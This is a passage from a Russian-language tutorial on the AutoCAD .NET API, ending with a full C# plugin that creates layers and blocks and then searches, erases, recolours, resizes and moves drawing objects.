// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу BlockReference
BlockReference br = (BlockReference)tr.GetObject(id, OpenMode.ForRead);
// открываем объект на запись
br.UpgradeOpen();
// перемещаем вхождение блока
br.Position = Point3d.Origin;
}
tr.Commit();
}
}
```
**Результат:**
Аналогом свойства `Position` для окружности является свойство `Center`.
4.5 Сложные операции над объектами
----------------------------------
AutoCAD .NET API позволяет осуществлять масштабирование и поворот объектов. Наверное, даже можно как-то модифицировать вершины многоугольников и ломаных. К сожалению, я с такими вещами не работал и ничего по этому поводу сказать не могу.
Начать поиск информации, если уж придется, можно с руководства по .NET API ([ссылка](http://help.autodesk.com/view/ACD/2016/ENU/?guid=GUID-E9D01C58-707B-47BD-86C3-0E199E58FB36) (англ.), [зеркало](http://docs.autodesk.com/ACD/2010/ENU/AutoCAD%20.NET%20Developer%27s%20Guide/index.html?url=WS1a9193826455f5ff2566ffd511ff6f8c7ca-3eef.htm,topicNumber=d0e20517) (англ.)). Ну и [форумы AutoCAD](http://forums.autodesk.com/t5/net/bd-p/152) в помощь. Можно также задать вопрос на [форумах Сообщества программистов Autodesk в СНГ](http://adn-cis.org/forum/index.php?board=4.0).
Приложение
==========
**На всякий случай - вот финальная версия кода, содержащая основные из рассмотренных примеров**
```
using System;
using System.Collections.Generic;
using Autodesk.AutoCAD.Runtime;
using Autodesk.AutoCAD.DatabaseServices;
using Autodesk.AutoCAD.Geometry;
using Autodesk.AutoCAD.ApplicationServices;
using Autodesk.AutoCAD.EditorInput;
using acad = Autodesk.AutoCAD.ApplicationServices.Application;
namespace HabrPlug_SearchAndRescue
{
public class ClassMyAutoCADDLL_SearchAndRescue
{
public class Commands : IExtensionApplication
{
// используемые цвета
Autodesk.AutoCAD.Colors.Color color_Pink = Autodesk.AutoCAD.Colors.Color.FromRgb(255, 128, 255);
Autodesk.AutoCAD.Colors.Color color_Blue = Autodesk.AutoCAD.Colors.Color.FromRgb(0, 200, 255);
Autodesk.AutoCAD.Colors.Color color_LightGreen = Autodesk.AutoCAD.Colors.Color.FromRgb(128, 255, 64);
// ID слоев "layer-1" и "layer-2"
ObjectId layer_1;
ObjectId layer_2;
// создаем слои
public void createLayers()
{
// получаем текущий документ и его БД
Document acDoc = Autodesk.AutoCAD.ApplicationServices.Application.DocumentManager.MdiActiveDocument;
Database acCurDb = acDoc.Database;
// блокируем документ
using (DocumentLock docloc = acDoc.LockDocument())
{
// начинаем транзакцию
using (Transaction tr = acCurDb.TransactionManager.StartTransaction())
{
// открываем таблицу слоев документа
LayerTable acLyrTbl = tr.GetObject(acCurDb.LayerTableId, OpenMode.ForWrite) as LayerTable;
// создаем новый слой и задаем ему имя
LayerTableRecord acLyrTblRec_1 = new LayerTableRecord();
acLyrTblRec_1.Name = "layer-1";
// заносим созданный слой в таблицу слоев, сохраняем ID созданной записи слоя
layer_1 = acLyrTbl.Add(acLyrTblRec_1);
// добавляем созданный слой в документ
tr.AddNewlyCreatedDBObject(acLyrTblRec_1, true);
// создаем новый слой и задаем ему имя
LayerTableRecord acLyrTblRec_2 = new LayerTableRecord();
acLyrTblRec_2.Name = "layer-2";
// заносим созданный слой в таблицу слоев, сохраняем ID созданной записи слоя
layer_2 = acLyrTbl.Add(acLyrTblRec_2);
// добавляем созданный слой в документ
tr.AddNewlyCreatedDBObject(acLyrTblRec_2, true);
// фиксируем транзакцию
tr.Commit();
}
}
}
// создаем определение блока "block-1"
public void createBlock_1()
{
// получаем ссылки на документ и его БД
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// имя создаваемого блока
const string blockName = "block-1";
// начинаем транзакцию
Transaction tr = db.TransactionManager.StartTransaction();
using (tr)
{
// открываем таблицу блоков на запись
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForWrite);
// проверяем, нет ли в таблице блока с таким именем; если есть - заканчиваем выполнение команды
if (bt.Has(blockName))
{
return;
}
// создаем новое определение блока, задаем ему имя
BlockTableRecord btr = new BlockTableRecord();
btr.Name = blockName;
// добавляем созданное определение блока в таблицу блоков и в транзакцию
bt.Add(btr);
tr.AddNewlyCreatedDBObject(btr, true);
// добавляем к блоку элементы
// создаем окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = Point3d.Origin;
acCircle.Radius = 25;
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// создаем линию
Line acLine = new Line(new Point3d(18, 18, 0), new Point3d(35, 35, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine.SetDatabaseDefaults();
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acLine);
tr.AddNewlyCreatedDBObject(acLine, true);
// создаем полилинию
Polyline acPolyline = new Polyline();
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acPolyline.SetDatabaseDefaults();
// добавляем к полилинии вершины
acPolyline.AddVertexAt(0, new Point2d(20, 35), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(35, 35), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(35, 20), 0, 0, 0);
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acPolyline);
tr.AddNewlyCreatedDBObject(acPolyline, true);
// фиксируем транзакцию
tr.Commit();
}
}
// создаем определение блока "block-2"
public void createBlock_2()
{
// получаем ссылки на документ и его БД
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// имя создаваемого блока
const string blockName = "block-2";
// начинаем транзакцию
Transaction tr = db.TransactionManager.StartTransaction();
using (tr)
{
// открываем таблицу блоков на запись
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForWrite);
// проверяем, нет ли в таблице блока с таким именем; если есть - заканчиваем выполнение команды
if (bt.Has(blockName))
{
return;
}
// создаем новое определение блока, задаем ему имя
BlockTableRecord btr = new BlockTableRecord();
btr.Name = blockName;
// добавляем созданное определение блока в таблицу блоков и в транзакцию
bt.Add(btr);
tr.AddNewlyCreatedDBObject(btr, true);
// добавляем к блоку элементы
// создаем окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = Point3d.Origin;
acCircle.Radius = 25;
// добавляем созданный объект определение блока и в транзакцию
btr.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// создаем первую линию
Line acLine_1 = new Line(new Point3d(0, -25, 0), new Point3d(0, -50, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_1.SetDatabaseDefaults();
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// создаем вторую линию
Line acLine_2 = new Line(new Point3d(-7, -39, 0), new Point3d(7, -39, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_2.SetDatabaseDefaults();
// добавляем созданный объект в определение блока и в транзакцию
btr.AppendEntity(acLine_2);
tr.AddNewlyCreatedDBObject(acLine_2, true);
// фиксируем транзакцию
tr.Commit();
}
}
// создаем объекты на нулевом слое
public void layer_0_createObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// добавляем розовую линию
Line acLine_1 = new Line(new Point3d(225, 225, 0), new Point3d(225, 175, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_1.SetDatabaseDefaults();
// устанавливаем для объекта нужный слой и цвет
acLine_1.Layer = "0";
acLine_1.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// добавляем голубую линию
Line acLine_2 = new Line(new Point3d(250, 225, 0), new Point3d(250, 175, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_2.SetDatabaseDefaults();
// устанавливаем для объекта нужный слой и цвет
acLine_2.Layer = "0";
acLine_2.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_2);
tr.AddNewlyCreatedDBObject(acLine_2, true);
// добавляем салатовую линию
Line acLine_3 = new Line(new Point3d(275, 225, 0), new Point3d(275, 175, 0));
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acLine_3.SetDatabaseDefaults();
// устанавливаем для объекта нужный слой и цвет
acLine_3.Layer = "0";
acLine_3.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_3);
tr.AddNewlyCreatedDBObject(acLine_3, true);
// добавляем розовую полилинию
Polyline acPolyline = new Polyline();
// устанавливаем параметры созданного объекта равными параметрам по умолчанию
acPolyline.SetDatabaseDefaults();
// добавляем к полилинии вершины
acPolyline.AddVertexAt(0, new Point2d(300, 225), 0, 0, 0);
acPolyline.AddVertexAt(1, new Point2d(325, 175), 0, 0, 0);
acPolyline.AddVertexAt(2, new Point2d(350, 225), 0, 0, 0);
// устанавливаем для объекта нужный слой и цвет
acPolyline.Layer = "0";
acPolyline.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acPolyline);
tr.AddNewlyCreatedDBObject(acPolyline, true);
// добавляем голубую окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(400, 200, 0);
acCircle.Radius = 25;
// устанавливаем для объекта нужный слой и цвет
acCircle.Layer = "0";
acCircle.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// добавляем салатовый текст
DBText text = new DBText();
text.Position = new Point3d(450, 175, 0);
text.Height = 50;
text.TextString = "HABR!";
// устанавливаем для объекта нужный слой и цвет
text.Layer = "0";
text.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(text);
tr.AddNewlyCreatedDBObject(text, true);
// фиксируем изменения
tr.Commit();
}
}
// создаем объекты на слое "layer-1"
public void layer_1_createObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// запоминаем текущий слой и временно меняем его на нужный нам
// (это позволит не задавать слой отдельно для каждого создаваемого объекта)
ObjectId currentLayer = db.Clayer;
db.Clayer = layer_1;
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// добавляем розовую линию
Line acLine_1 = new Line(new Point3d(225, 25, 0), new Point3d(225, -25, 0));
// устанавливаем параметры созданного объекта
acLine_1.SetDatabaseDefaults();
acLine_1.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// добавляем голубую линию
Line acLine_2 = new Line(new Point3d(250, 25, 0), new Point3d(250, -25, 0));
// устанавливаем параметры созданного объекта
acLine_2.SetDatabaseDefaults();
acLine_2.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_2);
tr.AddNewlyCreatedDBObject(acLine_2, true);
// добавляем салатовую окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(300, 0, 0);
acCircle.Radius = 25;
acCircle.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// добавляем розовый текст
DBText text = new DBText();
// устанавливаем параметры созданного объекта
text.Position = new Point3d(350, -25, 0);
text.Height = 50;
text.TextString = "HABR!";
text.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(text);
tr.AddNewlyCreatedDBObject(text, true);
// добавляем вхождение блока "block-1"
// открываем таблицу блоков для чтения
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForRead);
// получаем ObjectID блока
ObjectId btrId = bt["block-1"];
// создаем новое вхождение блока, используя полученный ID определения блока
BlockReference br = new BlockReference(new Point3d(600, 0, 0), btrId);
// добавляем вхождение блока на пространство модели и в транзакцию
ms.AppendEntity(br);
tr.AddNewlyCreatedDBObject(br, true);
// возвращаем обратно старый текущий слой
db.Clayer = currentLayer;
// фиксируем изменения
tr.Commit();
}
}
// создаем объекты на слое "layer-2"
public void layer_2_createObjects()
{
// получаем текущий документ и его БД
Document doc = acad.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// запоминаем текущий слой и временно меняем его на нужный нам
// (это позволит не задавать слой отдельно для каждого создаваемого объекта)
ObjectId currentLayer = db.Clayer;
db.Clayer = layer_2;
// открываем таблицу блоков документа
BlockTable acBlkTbl;
acBlkTbl = tr.GetObject(db.BlockTableId, OpenMode.ForRead) as BlockTable;
// открываем пространство модели (Model Space) - оно является одной из записей в таблице блоков документа
BlockTableRecord ms = tr.GetObject(acBlkTbl[BlockTableRecord.ModelSpace], OpenMode.ForWrite) as BlockTableRecord;
// добавляем розовую линию
Line acLine_1 = new Line(new Point3d(225, -175, 0), new Point3d(225, -225, 0));
// устанавливаем параметры созданного объекта
acLine_1.SetDatabaseDefaults();
acLine_1.Color = color_Pink;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acLine_1);
tr.AddNewlyCreatedDBObject(acLine_1, true);
// добавляем голубую дугу
Arc acArc = new Arc(new Point3d(250, -200, 0), 25, -45 / 180.0 * Math.PI, 45 / 180.0 * Math.PI);
// устанавливаем параметры созданного объекта
acArc.SetDatabaseDefaults();
acArc.Color = color_Blue;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acArc);
tr.AddNewlyCreatedDBObject(acArc, true);
// добавляем салатовую окружность
Circle acCircle = new Circle();
// устанавливаем параметры созданного объекта
acCircle.SetDatabaseDefaults();
acCircle.Center = new Point3d(325, -200, 0);
acCircle.Radius = 25;
acCircle.Color = color_LightGreen;
// добавляем созданный объект в пространство модели и в транзакцию
ms.AppendEntity(acCircle);
tr.AddNewlyCreatedDBObject(acCircle, true);
// добавляем вхождение блока "block-1"
// открываем таблицу блоков для чтения
BlockTable bt = (BlockTable)tr.GetObject(db.BlockTableId, OpenMode.ForRead);
// получаем ObjectID блока
ObjectId btrId = bt["block-1"];
// создаем новое вхождение блока, используя полученный ID определения блока
BlockReference br = new BlockReference(new Point3d(400, -200, 0), btrId);
// добавляем вхождение блока на пространство модели и в транзакцию
ms.AppendEntity(br);
tr.AddNewlyCreatedDBObject(br, true);
// добавляем вхождение блока "block-2"
// получаем ObjectID блока
btrId = bt["block-2"];
// создаем новое вхождение блока, используя полученный ID определения блока
br = new BlockReference(new Point3d(475, -200, 0), btrId);
// добавляем вхождение блока на пространство модели и в транзакцию
ms.AppendEntity(br);
tr.AddNewlyCreatedDBObject(br, true);
// возвращаем обратно старый текущий слой
db.Clayer = currentLayer;
// фиксируем изменения
tr.Commit();
}
}
// создаем объекты при загрузке плагина
public void Initialize()
{
createLayers();
createBlock_1();
createBlock_2();
layer_0_createObjects();
layer_1_createObjects();
layer_2_createObjects();
}
// функция Terminate() необходима, чтобы реализовать интерфейс IExtensionApplication
public void Terminate()
{
}
//////////////////////////////////////////////////////////////
// ПЕРВЫЙ ВАРИАНТ РЕАЛИЗАЦИИ ПОИСКА (<>)
//////////////////////////////////////////////////////////////
// команда для итерации по объектам (подход 1)
[CommandMethod("Habr\_IterateThroughAllObjects\_1")]
public void iterateThroughAllObjects\_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой (entity.Layer), тип (entity.GetType().ToString()) и цвет (entity.Color) каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
// команда для поиска окружностей (подход 1)
[CommandMethod("Habr\_FindCircles\_1")]
public void findCircles\_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// если это окружность - выводим в консоль слой, тип и цвет каждого объекта
if (entity.GetType() == typeof(Circle))
{
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
}
tr.Commit();
}
}
// команда для поиска салатовых объектов (подход 1)
[CommandMethod("Habr\_FindLightGreenObjects\_1")]
public void findLightGreenObjects\_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// если цвет объекта - салатовый, то выводим в консоль слой, тип и цвет каждого объекта
if (entity.Color == Autodesk.AutoCAD.Colors.Color.FromRgb(128, 255, 64))
{
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
}
tr.Commit();
}
}
// команда для поиска всех вхождений блока "block-1" (подход 1)
[CommandMethod("Habr\_FindBlocks\_1")]
public void findBlocks\_1()
{
// получаем текущую БД
Database db = HostApplicationServices.WorkingDatabase;
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// получаем ссылку на пространство модели (ModelSpace)
BlockTableRecord ms = (BlockTableRecord)tr.GetObject(SymbolUtilityServices.GetBlockModelSpaceId(db), OpenMode.ForRead);
// "пробегаем" по всем объектам в пространстве модели
foreach (ObjectId id in ms)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// проверяем, является ли объект вхождением блока
if (entity.GetType() == typeof(BlockReference))
{
// если является - приводим его к типу BlockReference
BlockReference br = (BlockReference)entity;
// если имя соответствующего определения блока - "block-1", то выводим в консоль слой, тип и цвет каждого объекта
if (br.Name == "block-1")
{
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
}
}
tr.Commit();
}
}
//////////////////////////////////////////////////////////////
// ВТОРОЙ ВАРИАНТ РЕАЛИЗАЦИИ ПОИСКА (<>)
//////////////////////////////////////////////////////////////
// команда для итерации по объектам (подход 2)
[CommandMethod("Habr\_IterateThroughAllObjects\_2")]
public void iterateThroughAllObjects\_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// пытаемся получить ссылки на все объекты
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll();
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой (entity.Layer), тип (entity.GetType().ToString()) и цвет (entity.Color) каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
// команда для поиска окружностей (подход 2)
[CommandMethod("Habr\_FindCircles\_2")]
public void findCircles\_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "CIRCLE");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// выводим в консоль слой, тип и цвет каждого объекта
acad.DocumentManager.MdiActiveDocument.Editor.WriteMessage(string.Format("\nLayer:{0}; Type:{1}; Color: {2},{3},{4}\n",
entity.Layer, entity.GetType().ToString(), entity.Color.Red.ToString(), entity.Color.Green.ToString(), entity.Color.Blue.ToString()));
}
tr.Commit();
}
}
//////////////////////////////////////////////////////////////
// РЕДАКТИРОВАНИЕ ОБЪЕКТОВ
//////////////////////////////////////////////////////////////
// команда для удаления окружностей
[CommandMethod("Habr\_EraseCircles\_2")]
public void eraseCircles\_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "CIRCLE");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// открываем приговоренный объект на запись
entity.UpgradeOpen();
// удаляем объект
entity.Erase();
}
tr.Commit();
}
}
// команда для перекраски всех объектов в оранжевый цвет
[CommandMethod("Habr\_RepaintOrange\_2")]
public void repaintOrange\_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// пытаемся получить ссылки на все объекты
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll();
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Entity
Entity entity = (Entity)tr.GetObject(id, OpenMode.ForRead);
// открываем объект на запись
entity.UpgradeOpen();
// изменяем цвет на оранжевый
entity.Color = Autodesk.AutoCAD.Colors.Color.FromRgb(255, 128, 0);
}
tr.Commit();
}
}
// команда для изменения радиуса окружностей
[CommandMethod("Habr\_ModifyCircles\_2")]
public void modifyCircles\_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("CIRCLE") - собственно тип
filterlist[0] = new TypedValue(0, "CIRCLE");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу Circle
Circle cir = (Circle)tr.GetObject(id, OpenMode.ForRead);
// открываем объект на запись
cir.UpgradeOpen();
// увеличиваем радиус
cir.Radius = cir.Radius \* 2;
}
tr.Commit();
}
}
// команда для перемещения блоков
[CommandMethod("Habr\_MoveBlocks\_2")]
public void moveBlocks\_2()
{
// получаем БД и Editor текущего документа
Document doc = Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
Editor ed = doc.Editor;
// создаем переменную, в которой будут содержаться данные для фильтра
TypedValue[] filterlist = new TypedValue[1];
// первый аргумент (0) указывает, что мы задаем тип объекта
// второй аргумент ("INSERT") - собственно тип
filterlist[0] = new TypedValue(0, "INSERT");
// создаем фильтр
SelectionFilter filter = new SelectionFilter(filterlist);
// пытаемся получить ссылки на объекты с учетом фильтра
// ВНИМАНИЕ! Нужно проверить работоспособность метода с замороженными и заблокированными слоями!
PromptSelectionResult selRes = ed.SelectAll(filter);
// если произошла ошибка - сообщаем о ней
if (selRes.Status != PromptStatus.OK)
{
ed.WriteMessage("\nError!\n");
return;
}
// получаем массив ID объектов
ObjectId[] ids = selRes.Value.GetObjectIds();
// начинаем транзакцию
using (Transaction tr = db.TransactionManager.StartTransaction())
{
// "пробегаем" по всем полученным объектам
foreach (ObjectId id in ids)
{
// приводим каждый из них к типу BlockReference
BlockReference br = (BlockReference)tr.GetObject(id, OpenMode.ForRead);
// открываем объект на запись
br.UpgradeOpen();
// перемещаем вхождение блока
br.Position = Point3d.Origin;
}
tr.Commit();
}
}
//////////////////////////////////////////////////////////////
// БОНУСНЫЙ ВАРИАНТ РЕАЛИЗАЦИИ ПОИСКА (<<ЧЕРНАЯ МАГИЯ>>)
//////////////////////////////////////////////////////////////
// команда для итерации по объектам (подход 3)
// Осторожно! Используется черная магия!
[CommandMethod("Habr\_IterateThroughAllObjects\_3")]
public void iterateThroughAllObjects\_3()
{
Database db = HostApplicationServices.WorkingDatabase;
Editor ed = Application.DocumentManager.MdiActiveDocument.Editor;
long amount = 0;
Dictionary d = new Dictionary();
ObjectId id = ObjectId.Null;
for (long i = db.BlockTableId.Handle.Value; i < db.Handseed.Value; i++)
{
Handle h = new Handle(i);
if (db.TryGetObjectId(h, out id) && !id.IsNull && id.IsValid && !id.IsErased)
{
string t = id.ObjectClass.DxfName;
amount++;
if (d.ContainsKey(t))
d[t]++;
else
d.Add(t, 1);
}
}
foreach (KeyValuePair kvp in d)
ed.WriteMessage("\n{0}: {1} ", kvp.Key, kvp.Value);
ed.WriteMessage("\nTotal {0} objects in drawing\n", amount);
}
}
}
}
```
